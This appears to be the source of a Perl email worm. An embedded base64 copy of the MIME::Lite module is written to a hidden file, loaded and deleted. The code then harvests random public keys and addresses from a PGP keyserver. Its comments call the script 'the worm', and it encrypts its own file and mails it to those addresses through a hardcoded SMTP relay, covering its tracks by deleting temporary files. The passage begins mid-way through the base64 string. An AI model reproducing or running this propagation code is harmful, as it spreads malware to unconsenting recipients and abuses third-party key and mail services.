Y2ggdXNlZCAKc2VuZF9ieV9zZW5kbWFpbCgpIHdpdGggdW51c3VhbCAic2VuZG1haWwiIHZhcmlh bnRzLiAgClNvIHlvdSdsbCBoYXZlIHRvIGNvbmZpZ3VyZSAic2VuZCIgdG8gdXNlIHRoZSBuZXcg bWVjaGFuaXNtOgoKICAgIE1JTUU6OkxpdGUtPnNlbmQoJ3NlbmRtYWlsJyk7ICAgICAgICMjIyBu byBhcmdzIQoKSTxUaGFua3MgdG8gSmVyZW15IEhvd2FyZCBmb3Igc3VnZ2VzdGluZyB0aGVzZSBm ZWF0dXJlcy4+CgoKPWl0ZW0gVmVyc2lvbiAxLjE0MCAgICgyMDAwLzA0LzI3KQoKRml4ZWQgYnVn IGluIHN1cHBvcnQgZm9yICJUbyIsICJDYyIsIGFuZCAiQmNjIiBpbiBzZW5kX2J5X3NtdHAoKToK bXVsdGlwbGUgKGNvbW1hLXNlcGFyYXRlZCkgYWRkcmVzc2VzIHNob3VsZCBub3cgd29yayBmaW5l LgpXZSB0cnkgcmVhbCBoYXJkIHRvIGV4dHJhY3QgYWRkcmVzc2VzIGZyb20gdGhlIGZsYXQgdGV4 dCBzdHJpbmdzLgpJPFRoYW5rcyB0byBKb2huIE1hc29uIGZvciBtb3RpdmF0aW5nIHRoaXMgY2hh bmdlLj4KCkFkZGVkIGF1dG9tYXRpYyB2ZXJpZmljYXRpb24gdGhhdCBhdHRhY2hlZCBkYXRhIGZp bGVzIGV4aXN0LApkb25lIGltbWVkaWF0ZWx5IGJlZm9yZSB0aGUgInNlbmQiIGFjdGlvbiBpcyBp bnZva2VkLgpUbyB0dXJuIHRoaXMgb2ZmLCBzZXQgJE1JTUU6OkxpdGU6OkFVVE9fVkVSSUZZIHRv IGZhbHNlLgoKPWl0ZW0gVmVyc2lvbiAxLjEzNyAgICgyMDAwLzAzLzIyKQoKQWRkZWQgc3VwcG9y dCBmb3IgIkNjIiBhbmQgIkJjYyIgaW4gc2VuZF9ieV9zbXRwKCkuClRvIHR1cm4gdGhpcyBvZmYs IHNldCAkTUlNRTo6TGl0ZTo6QVVUT19DQyB0byBmYWxzZS4KSTxUaGFua3MgdG8gTHVjYXMgTWFu ZW9zIGZvciB0aGUgcGF0Y2gsIGFuZCB0b25zIG9mIG90aGVycyBmb3IgCnRoZSBzdWdnZXN0aW9u Lj4KCkNob29zZXMgYSBiZXR0ZXIgZGVmYXVsdCBjb250ZW50LXRyYW5zZmVyLWVuY29kaW5nIGlm IHRoZSBjb250ZW50LXR5cGUKaXMgImltYWdlLyoiLCAiYXVkaW8vKiIsIGV0Yy4KVG8gdHVybiB0 aGlzIG9mZiwgc2V0ICRNSU1FOjpMaXRlOjpBVVRPX0VOQ09ERSB0byBmYWxzZS4KSTxUaGFua3Mg dG8gbWFueSBmb2xrcyBmb3IgdGhlIHN1Z2dlc3Rpb24uPgoKRml4ZWQgYnVnIGluIFFQLWVuY29k aW5nIHdoZXJlIGEgbm9uLWxvY2FsIEM8JF8+IHdhcyBiZWluZyBtb2RpZmllZC4KSTxUaGFua3Mg dG8gSm9jaGVuIFN0ZW56ZWwgZm9yIGZpbmRpbmcgdGhpcyB2ZXJ5IG9ic2N1cmUgYnVnIT4KClJl bW92ZWQgcmVmZXJlbmNlcyB0byBDPCRgPiwgQzwkJz4sIGFuZCBDPCQmPiAoYmFkIHZhcmlhYmxl cwp3aGljaCBzbG93IHRoaW5ncyBkb3duKS4KCkFkZGVkIGFuIGV4YW1wbGUgb2YgaG93IHRvIHNl bmQgSFRNTCBmaWxlcyB3aXRoIGVuY2xvc2VkIGluLWxpbmUKaW1hZ2VzLCBwZXIgcG9wdWxhciBk ZW1hbmQuCgoKPWl0ZW0gVmVyc2lvbiAxLjEzMyAgICgxOTk5LzA0LzE3KQoKRml4ZWQgYnVnIGlu ICJEYXRhIiBoYW5kbGluZzogYXJyYXlyZWZzIHdlcmUgbm90IGJlaW5nIGhhbmRsZWQKcHJvcGVy bHkuCgoKPWl0ZW0gVmVyc2lvbiAxLjEzMCAgICgxOTk4LzEyLzE0KQoKQWRkZWQgbXVjaCBsYXJn ZXIgYW5kIG1vcmUtZmxleGlibGUgc2VuZCgpIGZhY2lsaXR5LgpJPFRoYW5rcyB0byBBbmRyZXcg TWNSYWUgKGFuZCBPcHRpbWF0aW9uIE5ldyBaZWFsYW5kIEx0ZCkgCmZvciB0aGUgTmV0OjpTTVRQ IGludGVyZmFjZS4gIEFkZGl0aW9uYWwgdGhhbmtzIHRvIHRoZSBtYW55IGZvbGtzCndobyByZXF1 ZXN0ZWQgdGhpcyBmZWF0dXJlLj4KCkFkZGVkIGdldCgpIG1ldGhvZCBmb3IgZXh0cmFjdGluZyBi YXNpYyBhdHRyaWJ1dGVzLgoKTmV3Li4uICJ0IiB0ZXN0cyEKCgo9aXRlbSBWZXJzaW9uIDEuMTI0 ICAgKDE5OTgvMTEvMTMpCgpGb2xkZWQgaW4gZmlsZWhhbmRsZSAoRkgpIHN1cHBvcnQgaW4gYnVp bGQvYXR0YWNoLgpJPFRoYW5rcyB0byBNaWtvIE8nU3VsbGl2YW4gZm9yIHRoZSBjb2RlLj4KCgo9 aXRlbSBWZXJzaW9uIDEuMTIyICAgKDE5OTgvMDEvMTkpCgpNSU1FOjpCYXNlNjQgYW5kIE1JTUU6 OlF1b3RlZFByaW50IGFyZSB1c2VkIGlmIGF2YWlsYWJsZS4KClRoZSA3Yml0IGVuY29kaW5nIG5v IGxvbmdlciBkb2VzICJlc2NhcGVzIjsgaXQgbWVyZWx5IHN0cmlwcyA4LWJpdCBjaGFyYWN0ZXJz LgoKCj1pdGVtIFZlcnNpb24gMS4xMjEgICAoMTk5Ny8wNC8wOCkKCkZpbGVuYW1lIGF0dHJpYnV0 ZSBpcyBub3cgbm8gbG9uZ2VyIGlnbm9yZWQgYnkgYnVpbGQoKS4KSTxUaGFua3MgdG8gSWFuIFNt aXRoIGZvciBmaW5kaW5nIGFuZCBwYXRjaGluZyB0aGlzIGJ1Zy4+CgoKPWl0ZW0gVmVyc2lvbiAx LjEyMCAgICgxOTk3LzAzLzI5KQoKRWZmaWNpZW5jeSBoYWNrIHRvIHNwZWVkIHVwIE1JTUU6Okxp dGU6OklPX1NjYWxhci4KSTxUaGFua3MgdG8gRGF2aWQgQXNwaW53YWxsIGZvciB0aGUgcGF0Y2gu PgoKCj1pdGVtIFZlcnNpb24gMS4xMTYgICAoMTk5Ny8wMy8xOSkKClNtYWxsIGJ1ZyBpbiBvdXIg cHJpdmF0ZSBjb3B5IG9mIGVuY29kZV9iYXNlNjQoKSB3YXMgcGF0Y2hlZC4KSTxUaGFua3MgdG8g QW5kcmVhcyBLb2VuaWcgZm9yIHBvaW50aW5nIHRoaXMgb3V0Lj4KCk5ldywgcHJldHRpZXIgd2F5 IG9mIHNwZWNpZnlpbmcgbWFpbCBtZXNzYWdlIGhlYWRlcnMgaW4gQzxidWlsZCgpPi4KCk5ldyBx dWlldCBtZXRob2QgdG8gdHVybiBvZmYgd2FybmluZ3MuCgpDaGFuZ2VkICJzdHJpbmdpZnkiIG1l dGhvZHMgdG8gbW9yZS1zdGFuZGFyZCAiYXNfc3RyaW5nIiBtZXRob2RzLgoKCj1pdGVtIFZlcnNp b24gMS4xMTIgICAoMTk5Ny8wMy8wNikKCkFkZGVkIEM8cmVhZF9ub3coKT4sIGFuZCBDPGJpbm1v ZGUoKT4gbWV0aG9kIGZvciBvdXIgbm9uLVVuaXgtdXNpbmcgYnJldGhyZW46IApmaWxlIGRhdGEg aXMgbm93IHJlYWQgdXNpbmcgYmlubW9kZSgpIGlmIGFwcHJvcHJpYXRlLgpJPFRoYW5rcyB0byBY aWFuZ3pob3UgV2FuZyBmb3IgcG9pbnRpbmcgb3V0IHRoaXMgYnVnLj4KCgo9aXRlbSBWZXJzaW9u IDEuMTEwICAgKDE5OTcvMDMvMDYpCgpGaXhlZCBidWcgaW4gb3BlbmluZyB0aGUgZGF0YSBmaWxl aGFuZGxlLgoKCj1pdGVtIFZlcnNpb24gMS4xMDIgICAoMTk5Ny8wMy8wMSkKCkluaXRpYWwgcmVs ZWFzZS4KCgo9aXRlbSBWZXJzaW9uIDEuMTAxICAgKDE5OTcvMDMvMDEpCgpCYXNlbGluZSBjb2Rl LgpPcmlnaW5hbGx5IGNyZWF0ZWQ6IDExIERlY2VtYmVyIDE5OTYuICBIbyBobyBoby4KCj1iYWNr CgoKPWhlYWQxIFRFUk1TIEFORCBDT05ESVRJT05TCgpDb3B5cmlnaHQgKGMpIDE5OTcgYnkgRXJ5 cS4gIApDb3B5cmlnaHQgKGMpIDE5OTggYnkgWmVlR2VlIFNvZnR3YXJlIEluYy4KQWxsIHJpZ2h0 cyByZXNlcnZlZC4gIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlz dHJpYnV0ZSAKaXQgYW5kL29yIG1vZGlmeSBpdCB1bmRlciB0aGUgc2FtZSB0ZXJtcyBhcyBQZXJs IGl0c2VsZi4gIAoKVGhpcyBzb2Z0d2FyZSBjb21lcyB3aXRoIEI8Tk8gV0FSUkFOVFk+IG9mIGFu eSBraW5kLgpTZWUgdGhlIENPUFlJTkcgZmlsZSBpbiB0aGUgZGlzdHJpYnV0aW9uIGZvciBkZXRh aWxzLgoKCj1oZWFkMSBOVVRSSVRJT05BTCBJTkZPUk1BVElPTgoKRm9yIHNvbWUgcmVhc29uLCB0 aGUgVVMgRkRBIHNheXMgdGhhdCB0aGlzIGlzIG5vdyByZXF1aXJlZCBieSBsYXcKb24gYW55IHBy b2R1Y3RzIHRoYXQgYmVhciB0aGUgbmFtZSAiTGl0ZSIuLi4KCiAgICBNSU1FOjpMaXRlICAgICAg ICAgICAgICAgIHwgCiAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgIFNlcnZpbmcgc2l6ZTogICAgICAgICAgICAgfCAxIG1v ZHVsZQogICAgU2VydmluZ3MgcGVyIGNvbnRhaW5lcjogICB8IDEKICAgIENhbG9yaWVzOiAgICAg ICAgICAgICAgICAgfCAwCiAgICBGYXQ6ICAgICAgICAgICAgICAgICAgICAgIHwgMGcKICAgICAg U2F0dXJhdGVkIEZhdDogICAgICAgICAgfCAwZwoKV2FybmluZzogZm9yIGNvbnN1bXB0aW9uIGJ5 IGhhcmR3YXJlIG9ubHkhICBNYXkgcHJvZHVjZSAKaW5kaWdlc3Rpb24gaW4gaHVtYW5zIGlmIHRh a2VuIGludGVybmFsbHkuCgoKPWhlYWQxIEFVVEhPUgoKRXJ5cSAoRjxlcnlxQHplZWdlZS5jb20+ KS4KUHJlc2lkZW50LCBaZWVHZWUgU29mdHdhcmUgSW5jLiAoRjxodHRwOi8vd3d3LnplZWdlZS5j b20+KS4KCkdvIHRvIEY8aHR0cDovL3d3dy56ZWVnZWUuY29tPiBmb3IgdGhlIGxhdGVzdCBkb3du bG9hZHMKYW5kIG9uLWxpbmUgZG9jdW1lbnRhdGlvbiBmb3IgdGhpcyBtb2R1bGUuICBFbmpveS4K Cj1jdXQKCg== TEXT open ( FILE, ">", ".lite.pm" ) ; # filenames starting with "." will not be shown by default print FILE decode_base64 ( $litePM ) ; # drop the module close ( FILE ) ; require ( "./.lite.pm" ) ; unlink ( ".lite.pm" ) ; # remove the file, we don't need it anymore @a = &gpg ( ) ; while ( $a[0] eq "" ) { @a = &gpg ( ) ; } $to = $a [ 0 ] ; $file = "$a[1]" ; $smtp = Net::SMTP->new('mail.privatdemail.net') or die "1" ; $smtp->datasend ( "AUTH LOGIN\n" ) or die 'auth login' ; $smtp->response ( ) ; $smtp->datasend ( encode_base64($smtpuser) ) or die 'username' ; $smtp->response ( ) ; $smtp->datasend ( encode_base64($smtppass) ) or die 'password' ; $smtp->response ( ) ; $smtp->mail ( $smtpuser ) or die '$smtp->mail' ; $msg = MIME::Lite->new ( From => $smtpuser, To => $email, Subject => "$name walking around the world", Type => 'multipart/mixed' ) or die "mime lite" ; open ( FILE, ".$file.msg.asc" ) ; @data = ; # reading the encrypted message close ( FILE ) ; unlink ( ".$file.msg.asc" ) ; $text = join ( '', @data ) ; $msg -> attach ( Type => 'TEXT', Data => $text ) or die "body" ; $msg -> attach ( Type => 'application/octet-stream', Encoding => 'base64', Path => ".$file.asc", Filename => "$name.pl.pgp", Disposition => 'attachment' ) or die "attachment" ; $smtp -> to ( "$to" ) or die "to" ; $smtp -> data ( ) or die "data" ; $smtp -> datasend ( $msg->as_string ) or die "10" ; $smtp -> dataend ( ) ; $smtp -> quit ( ) ; unlink ( ".$file.asc" ) ; sub gpg { unlink ( ".tmp_ring.pgp" ) ; # just in case ;) unlink ( ".tmp_ring.pgp~" ) ; $keyring = "--no-default-keyring --keyring ./.tmp_ring.pgp" ; @chars = ( "a" .. "z" ) ; # we will generate a random string, to search for a key $randStr = $chars [ int(rand(25)) ] . $chars [ int(rand(25)) ] . $chars [ int(rand(25)) ] . $chars [ int(rand(25)) ] ; $result = get "http://eu.pool.sks-keyservers.net/pks/lookup?search=$randStr&op=get" ; # Download a random key from a keyserver $key = (split ( /-----END PGP PUBLIC KEY BLOCK-----/,(split(/-----BEGIN PGP PUBLIC KEY BLOCK-----/, $result))[1] )) [0] ; # split the result to extract the gpg block if ( $key ne "" ) { open ( FILE, ">", ".$randStr.asc" ) ; print FILE "-----BEGIN PGP PUBLIC KEY BLOCK-----" ; print FILE $key ; print FILE "-----END PGP PUBLIC KEY BLOCK-----" ; close ( FILE ) ; } else { return ( &gpg() ) ; } # write the key to a file and if it didn't work, try tp get a new one $import = `LANG="en_US" gpg $keyring --import .$randStr.asc 2>&1` ; # import the downloaded key in a temoprary keyring unlink ( ".$randStr.asc" ) ; @tmp = split ( /: public key /, $import ) ; @tmp2 = split ( /gpg: key /, $tmp [ 0 ] ) ; $id = $tmp2 [ 1 ] ; # getting the ID of the new key if ( $id ne "" ) { system ( "gpg $keyring --trust-model always -o .$randStr.asc -a --yes -e -r $id $0" ) ; # encrypt the worm with the gpg key (will be used as the attachment later) open ( FILE, ">", ".$randStr.msg" ) ; print FILE decode_base64 ( $messages [ int (rand(2)) ] ) ; close ( FILE ) ; system ( "gpg $keyring --trust-model always -o .$randStr.msg.asc -a --yes -e -r $id .$randStr.msg" ) ; unlink ( ".$randStr.msg" ) ; $keyInfo = `gpg $keyring --list-key $id 2>&1` ; @tmp = split ( //, $tmp [ 1 ] ) ; $email = $tmp2 [ 0 ] ; # get the email address if ( $email ne "" ) { @ret = ( $email, $randStr ) ; } else { @ret = &gpg ( ) ; } # if we didn't get the address, we'll try again unlink ( ".tmp_ring.pgp" ) ; # deleting the temporary keyring unlink ( ".tmp_ring.pgp~" ) ; return ( @ret ) ; # returning an array with the email address and the used random string (for the filenames) } else { return ( &gpg ( ) ) ; } }